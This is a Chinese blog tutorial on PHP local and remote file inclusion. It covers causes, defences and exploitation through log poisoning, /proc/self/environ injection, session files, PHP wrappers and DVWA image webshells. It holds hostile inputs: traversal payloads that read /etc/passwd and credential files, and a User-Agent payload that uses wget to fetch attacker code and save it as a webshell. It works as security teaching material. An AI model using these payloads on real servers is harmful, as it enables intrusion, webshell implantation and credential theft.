文件包含漏洞

目录

一、文件包含漏洞概述

二、文件包含漏洞类型

三、常用的防御方式

四、常用的利用方式 

五、常用的绕过方式



 图片来源

一、文件包含漏洞概述

1.什么是文件包含

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某个函数的时候,直接调用此文件,无需再次编写,这种调用文件的过程通常称为包含。

2.文件包含漏洞产生原理

文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。

程序开发人员都希望代码更加灵活,所以通常会把被包含的文件设置为变量来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用任意文件,造成文件包含漏洞

例子

$_GET['filename']参数开发者没有经过严格的过滤,直接带入了include的函数,攻击者可以修改$_GET['filename']的值,执行非预期的操作。

show.php即可为用户上传的可执行的恶意脚本文件

包含文件内容只要符合php语法都能被当成php代码进行解析,无关后缀名是什么

特点

 条件

  •  include()等函数通过动态变量的方式引入需要包含的文件。
  • 用户能够控制这个动态变量。

php相关配置

​
allow_url_fopen=On
// 本地文件包含(LFI),但这个无论On或Off,本地文件包含都存在
allow_url_include=On
// 远程文件包含(RFI)

​

3.存在文件包含的脚本语言及应用函数

  • php

require:函数出现错误时,会直接报错并退出程序执行

require_once:出错直接退出;且仅包含一次。在脚本执行期间同一个文件可能被多次引用,确保只包含一次以避免函数重定义,变量重新赋值等问题。

include:出现错误时,会出现警告但是程序会继续执行

include-once:出现错误时,会抛出警告,且仅包含一次 

  • jsp/servlet

ava.io.file()

java.io.filereader()   

  • asp 

include file

include virtual 

4.文件包含漏洞的危害

  • 1、敏感信息泄露
  • 2、获取Webshell
  • 3、任意命令执行

常见的敏感信息路径:

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

二、文件包含漏洞类型

1.本地文件包含漏洞(LFI)

能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

包含服务器本身存在的恶意文件
a.txt

<?php

phpinfo();

?>

b.php

<?php

$b=$_GET['id'];

include($b);

?> 

payload

localhost/b.php?id=a.txt //返回phpinfo页面 

注:

  • 两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)(相对路径./当前目录 ../上级目录)
  • 被包含的页面的后缀无论是什么都会当做PHP解析

2.远程文件包含(RFI)
包含其他网站上的恶意文件
远程文件包含利用条件:在php.ini中allow_url_fopen=on、allow_url_include=on
payload:

localhost/b.php?id=http://ip/文件路径

注:远程包含的文件路径必须是绝对路径

三、常用的防御方式

  • 设置白名单

        代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。

  •  过滤危险字符

        由于Include/Require可以对PHP Wrapper形式的地址进行包含执行(需要配置php.ini),在          Linux环境中可以通过”../../”的形式进行目录绕过,所以需要判断文件名称是否为合法的PHP            文 件。

  • 设置文件目录

        PHP配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置目录的              话,PHP仅仅在该目录内搜索文件。

  • 关闭危险配置

      PHP配置中的allow_url_include选项如果打开,PHP会通过Include/Require进行远程文件包           含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP默认是关闭的。

四、常用的利用方式 

1.本地文件包含配合日志文件

1、日志的默认路径
    /etc/httpd/logs/access_log或/var/log/httpd/access_log        //apache+linux
    D:xamppapachelogsaccess.log或D:xamppapachelogserror.log  //apache_win2003
    C:WINDOWSsystem32Logfiles                     //iis6.0+win2003
    %SystemDrive%inetpublogsLogFiles            //iis7.0+win2003
    nginx 日志文件在用户安装目录的logs目录下
2、web中间件默认配置uoh文件
    /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd        //apache+linux
    C:/Windows/system32/inetsrv/metabase.xml          //iis6.0+win2003
    C:WindowsSystem32inetsrvconfigapplicationHost.config           //iis7.0+win
3、利用
    访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:
    http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开)
4、防御
    隐藏或修改默认日志文件
    设置日志文件读取权限

找到Apache路径,利用包含漏洞包含日志文件获取Webshell。

Apache两个日志文件:access.log、error.log
很多时候,web服务器会将请求写入到日志文件中,比如说apache。在用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。

各字段分别为:客户端地址、访问者标识、访问者的验证名字、请求时间、请求类型、状态码、发送给客户端的字节数

当发现网站存在包含漏洞,但无webshell文件包含,也无上传点时

当访问不存在的资源时,apache日志同样会记录。

访问127.0.0.1/include/<?php phpinfo();?>,再包含日志文件

 2.本地文件包含配合/proc/self/environ文件

1、找文件包含漏洞
    www.aaa.com/view.php?page=../
    www.aaa.com/view.php?page=../../../../../etc/passwd
2、检查proc/self/environ是否可以访问
    www.aaa.com/view.php?page=../../../../../proc/self/environ
3、如果可读就注入代码
    访问:www.aaa.com/view.php?page=../../../../../proc/self/environ
    选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>    //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
4、访问shell
5、防御:
    设置proc/self/environ不可访问

 3.本地文件包含配合session文件

?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2         //读取session文件

利用条件:

session的存储位置可以获取。

通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为/var/lib/php/session:

通过猜测默认的session存放位置进行尝试。

session中的内容可以被控制,传入恶意代码。

示例:

<?php

session_start();

$ctfs=$_GET['ctfs'];

$_SESSION["username"]=$ctfs;

?>

漏洞分析

此php会将获取到的GET型ctfs变量的值存入到session中。

当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。

session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。

所以session的文件名为sess_akp79gfiedh13ho11i6f3sm6s6。

到服务器的/var/lib/php/session目录下查看果然存在此文件,内容为:

username|s:4:"ctfs";

[root@c21336db44d2 session]# cat sess_akp79gfiedh13ho11i6f3sm6s6

username|s:4:"ctfs"

漏洞利用

通过上面的分析,可以知道ctfs传入的值会存储到session文件中,如果存在本地文件包含漏洞,就可以通过ctfs写入恶意代码到session文件中,然后通过文件包含漏洞执行此恶意代码getshell。

当访问http://www.ctfs-wiki/session.php?ctfs=<?php phpinfo();?>后,会在/var/lib/php/session目录下存储session的值。

[root@6da845537b27 session]# cat sess_83317220159fc31cd7023422f64bea1a

username|s:18:"<?php phpinfo();?>";

攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。

4.php伪协议

PHP 文件包含漏洞姿势总结

PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:

  • php://filter

 

 

有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:

在这里插入图片描述

这时候我们可以以base64编码的方式读取指定文件的源码:

输入:php://filter/convert.base64-encode/resource=文件路径

得到config.php加密后的源码:

在这里插入图片描述

  •  data://

利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

在这里插入图片描述

如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

在这里插入图片描述

  • zip:// 执行压缩文件 

如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。

以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:

在这里插入图片描述

通过zip://协议执行zip压缩包中的phpinfo.php文件:

在这里插入图片描述

  • php://input
  •  phar
  •  总结

 5.配合文件上传使用

有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

以DVWA平台为例,编辑一个图片马,内容如下:

在这里插入图片描述

找到上传点进行上传:

在这里插入图片描述

文件保存的完整路径为:

C:\phpStudy\WWW\hackable\uploads\webshell.jpg

DVWA平台low等级文件包含漏洞页面如下:

在这里插入图片描述

该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:

在这里插入图片描述

现在我们利用该页面去执行我们上传的图片马,路径需要从C:\phpStudy\WWW\vulnerabilities\fi\ 转到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

构造URL如下,页面无报错:

在这里插入图片描述

可以看到fi文件夹中生成了一个webshell:

在这里插入图片描述

使用webshell管理工具连接即可。

注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

五、常用的绕过方式

 本篇文章借鉴优秀博主文章如下:

参考1

参考2

参考3

  • 3
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

syy️️

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值